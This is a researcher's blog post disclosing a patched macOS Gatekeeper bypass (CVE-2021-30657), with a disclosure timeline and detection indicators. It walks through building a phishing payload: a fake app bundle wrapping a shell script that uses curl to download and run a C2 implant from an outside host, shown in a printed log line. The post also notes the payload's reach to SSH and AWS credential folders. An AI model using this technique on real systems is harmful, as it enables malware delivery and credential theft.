macOS Gatekeeper Bypass (2021 Edition)

Cedric Owens
9 min readApr 26, 2021

This post will briefly discuss how a bug that I uncovered in macOS Catalina 10.15 (specifically tested on 10.15.7) and in macOS Big Sur before Big Sur 11.3 allows an attacker to very easily craft a macOS payload that is not checked by Gatekeeper. This payload can be used in phishing and all the victim has to do is double click to open the .dmg and double-click the fake app inside of the .dmg — no pop ups or warnings from macOS are generated. Therefore, if you are reading this, please update to Big Sur 11.3 or Catalina update 2021–002, where Apple has patched this bug. The CVE is CVE-2021–30657 and can be found in the security advisories for Big Sur 11.3 and Catalina update 2021–002. The Apple Security Advisory for macOS 11.3 can be found at: https://support.apple.com/en-us/HT212325. The Apple Security Advisory for Catalina Update 2021–002 can be found at: https://support.apple.com/en-us/HT212326. More details below.

Update: I recently blogged about a slightly different payload from what is discussed in this post that still works against unpatched macOS systems. This blog can be found here:

Timeline:

I reported this to Apple on Mar 25 2021. Apple acknowledged receiving my report and on Mar 30 2021 Apple made available macOS Big Sur 11.3 Beta 6, which included a patch for this bug that I reported. Patrick Wardle dug deeper into this bug and found that the bug was a logic bug in the policy subsystem (in syspolicyd) that essentially allowed “fake apps” crafted in the manner identified in this post to get executed and bypass Gatekeeper. Patrick Wardle reversed syspolicyd and wrote a very insightful and in-depth blog post specifically on this bug, which I highly recommend checking out for more details. His blog post is at: https://objective-see.com/blog/blog_0x64.html. My blog below I will dive more into how crafted fake apps abuse this bug.

Abusing the bug in syspolicyd

Preparation: I first ensured that Gatekeeper was enabled and even set it to the most restrictive level on the target macOS host. Next I stood up a new host with Mythic C2 (https://github.com/its-a-feature/Mythic), created a new unsigned Mythic Poseidon golang macho payload, and hosted the payload at http://192.168.1.191:8000/bad-unsigned-macho. Later I will point my shell script downloader to pull this unsigned macho payload down.

Generated the Poseidon macOS macho payload in Mythic
Renamed it to bad-unsigned-macho and hosted it

Normally, macOS apps tend to have a directory structure as follows:

[Name.app]/Contents/MacOS/Name (this is usually a macho with the same name as the app that is executed when the app is run; since it is a macho, gatekeeper checks to ensure that it has been signed and notarized if it contains the quarantine attribute — “com.apple.quarantine”). And macOS will append the quarantine attribute to any files downloaded from browsers (macOS also appends this attribute to files downloaded via other methods such AirDrop, but for the sake of this article I will not go into those here).

So this begs the question: what if a script is placed in the Contents/MacOS/ directory instead of a macho, since scripts are not checked by Gatekeeper? That is essentially what this technique does. Steps are below:

Build A Simple Shell Script Downloader:

Build a simple shell script that uses curl to download a payload (ex: unsigned macho binary, jxa payload, python, etc.) to /tmp , sets the executable bit, and executes that payload. I chose curl because it is known that files pulled down by curl do not have the quarantine attribute appended and I chose the /tmp directory because /tmp is not protected by TCC. An example shell script downloader (down.sh) is below:

Example shell script downloader

The example shell script above pulls a malicious unsigned macho binary down to tmp, sets the executable bit, and runs it backgrounded. Then it displays a message to the user thanking them for installing the fake “IT macOS Provisioner”. Again, since curl is used the unsigned macho that is pulled down will not get the quarantine attribute appended (i.e., won’t be checked by gatekeeper) and since /tmp is not protected by TCC we can drop payloads there. So now we have our shell script downloader payload ready to use.

Turn This Shell Script Into A Double-Clickable “App”:

Next, we will need to put this shell script into the proper format. I did some digging and found that mac admins have actually been running shell scripts for years inside of app directories to make them “double clickable” so they would not need to remember long command line strings when they needed to do a simple task (ex: run a headless browser). In my searching, I found a script named appify had been written 11 years ago that basically turned shell scripts into “apps” that could be double clicked: https://gist.github.com/mathiasbynens/674099. I use the word “apps” loosely since as I note later below this directory structure is missing some key components of what a real app directory structure contains. So I downloaded appify, pointed it at my malicious shell script above and it worked as expected and put my shell script into the proper macOS app directory structure so it could be double-clicked and run like an app. The example below is me running appify (renamed as masquerade.sh) to put my malicious shell script (down.sh) into an app named “FakeApp”:

Example of putting the script into the macOS directory structure, changing it to a clickable “app”

Alternatively, I could have done the same thing manually from Terminal by running:

  • mkdir -p “FakeApp.app/Contents/MacOS”
  • cp down.sh FakeApp.app/Contents/MacOS/FakeApp

So now we have our malicious shell script disguised as an app:

FakeApp.app/Contents/MacOS/FakeApp (note: this is the shell script downloader down.sh)

Something of note: Apple stated that Info.plist is a required Application Bundle component in their Bundle Structure article here: https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html#//apple_ref/doc/uid/10000123i-CH101-SW1. However, as you can see in our fake app above, Info.plist is not required for macOS to recognize an app (just the [Name.app]/Contents/MacOS/[Name] app directory structure where Name can be a macho OR a script).

macOS recognizes this as a valid app:

Next, you can pick the app icon from a target app in the /Applications directory. Once you have identified the icon you want to copy, you Right Click -> Get Info -> Click the icon image -> Edit -> Copy. This will copy the target icon to the clipboard. Then you can Right Click on your new FakeApp -> Get Info -> Click the icon -> Edit -> Paste. This will paste the icon onto your fake app to make it look even more appealing:

Now that your app is ready to go, you can simply put the app inside of a .dmg (or zip), host it, and share the link. To put inside of a dmg:

1. create a new directory and cp -r FakeApp.app into that new directory

2. Disk Utility -> File -> New Image -> Image From Folder -> select the folder you created in #1 above. This will create a new .dmg that contains your fake app.

Now you can host the .dmg and share the link. At this point, you can test what would happen on a target victim machine by placing the .dmg you just created into a folder, cd into that folder, and run “python -m SimpleHTTPServer 80”. In a browser you can then navigate to http://127.0.0.1 and download the .dmg (we want to simulate how a targeted user may download this payload).

example of hosted payload inside .dmg

Once downloaded, the .dmg (and everything in it) will have the com.apple.quarantine attribute set since it was downloaded via a browser. You can verify this by running “xattr ~/Downloads/RealApp.dmg”.

showing that the quarantine attribute is set

Now you can see what would happen on the victim machine:

- double click the downloaded .dmg

- double click the fake app inside of the .dmg

- the shell script payload will run, you will receive a callback on your Mythic C2 server, and you’ll see the fake message to the user thanking them for installing the “IT Provisioner Script”. Notice that gatekeeper did not prompt or block this

- you will notice that you have un-sandboxed access at this stage (i.e., you will have access to non-TCC protected folders such as some folders inside of the user’s home directory and /tmp plus any directories that the user has given Terminal access to). So even worst case scenario where the user has not granted Terminal full disk access or access to any folders, this payload would still be capable of accessing sensitive files in the user’s home directory (ex: ~/.ssh, ~/.aws, etc.).

To recap, this payload bypassed the following macOS protections:

  • Gatekeeper: I view this payload as a hybrid app and script. It’s an app in the sense that you can double click it and macOS views it as an app when you right click -> Get Info on the payload. Yet it’s also shell script in that shell scripts are not checked by Gatekeeper even if the quarantine attribute is present. The bug in syspolicyd allowed the unique combination of properties present in this payload to completely bypass Gatekeeper.
  • App Transport Security (ATS): ATS usually requires certain Info.plist entries to allow macOS apps to connect to servers. However, this payload does not even have an Info.plist and ATS is not invoked, even though macOS treats the payload as an app.

The Fix Has Been Applied to macOS 11.3!

Kudos to Apple for rolling out a fix in Big Sur 11.3 beta 6 literally 5 days after I reported to them!! The Product Security team at Apple was very responsive anytime I reached out with an inquiry. Again, I highly encourage you to update to Big Sur 11.3 soonest, as the fix has been applied to syspolicyd so that gatekeeper now properly blocks this payload on macOS 11.3.

Detection

Patrick Wardle came up with a solid way to detect past executions of this payload. Check out his blog post at https://medium.com/r/?url=https%3A%2F%2Fobjective-see.com%2Fblog%2Fblog_0x64.html for more details. My section below is testing I did for detecting runtime execution.

I ran Patrick Wardle’s ProcessMonitor tool (https://objective-see.com/blog/blog_0x47.html) to capture system events while I detonated “fake app” payloads. Below are some observations in terms of events that ProcessMonitor captured:

1. ES_EVENT_TYPE_NOTIFY_EXEC:

process: name: “xpcproxy”, path: “/usr/libexec/xpcproxy”, arguments: “xpcproxy com.apple.xpc.launchd.oeshot.0x10000012.FakeApp”, parent pid: 1 (launchd)

2. ES_EVENT_TYPE_NOTIFY_EXEC:

process: name: “bash”, path:”/bin/bash”, arguments: “/private/var/folders/2_/[random]/T/AppTranslocation/[random]/d/FakeApp.app/Contents/MacOS/FakeApp”, parent pid: 1 (launchd)

3. ES_EVENT_TYPE_NOTIFY_EXEC:

process: name: “curl”, path:”/usr/bin/curl”, arguments: “curl -k https://192.168.1.191:7443/v1.4/files/download/[payloadID] -o /tmp/provisioner”, parent pid: 1617 (/bin/bash)

Note: This captured the curl command which was executed by my malicious shell script to pull down the malicious payload.

4. ES_EVENT_TYPE_NOTIFY_EXEC:

process: name: “chmod”, path:”/bin/chmod”, arguments: “chmod +x /tmp/provisioner”, parent pid: 1617 (/bin/bash)

Note: This captured the chmod command which was executed by my malicious shell script to set the executable bit on the malicious payload.

5. ES_EVENT_TYPE_NOTIFY_EXEC:

process: name: “provisioner”, path:”/private/tmp/provisioner”, arguments: “/tmp/./provisioner”, parent:/bin/bash

From the events above, I believe the most high fidelity detection indicator for a payload that uses a shell script inside of the macOS app directory structure is:

===> process path: /bin/bash (or can also be /bin/sh or /bin/zsh)

===> arguments: “*/Contents/MacOS/*”

===> parent pid: launchd (pid: 1)

===> arguments: does not contain “Parallels” (shoutout to Chris Ford @crford for this additional logic)

Similarly, for a payload that uses a python 2.7 payload inside of the macOS app directory structure the following is the most high fidelity detection indicator I have crafted (note: I picked python 2 because it is still installed by default on macOS and is therefore more likely to be a payload than python3):

===> process path: /System/Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7 OR /usr/bin/python

===> arguments: “*/Contents/MacOS/*”

===> parent pid: launchd (pid: 1)

===> arguments: does not contain “homebrew” (shoutout to Chris Ford @crford for this additional logic)

--

--

Cedric Owens

Red teamer with blue team roots🤓👨🏽‍💻 Twitter: @cedowens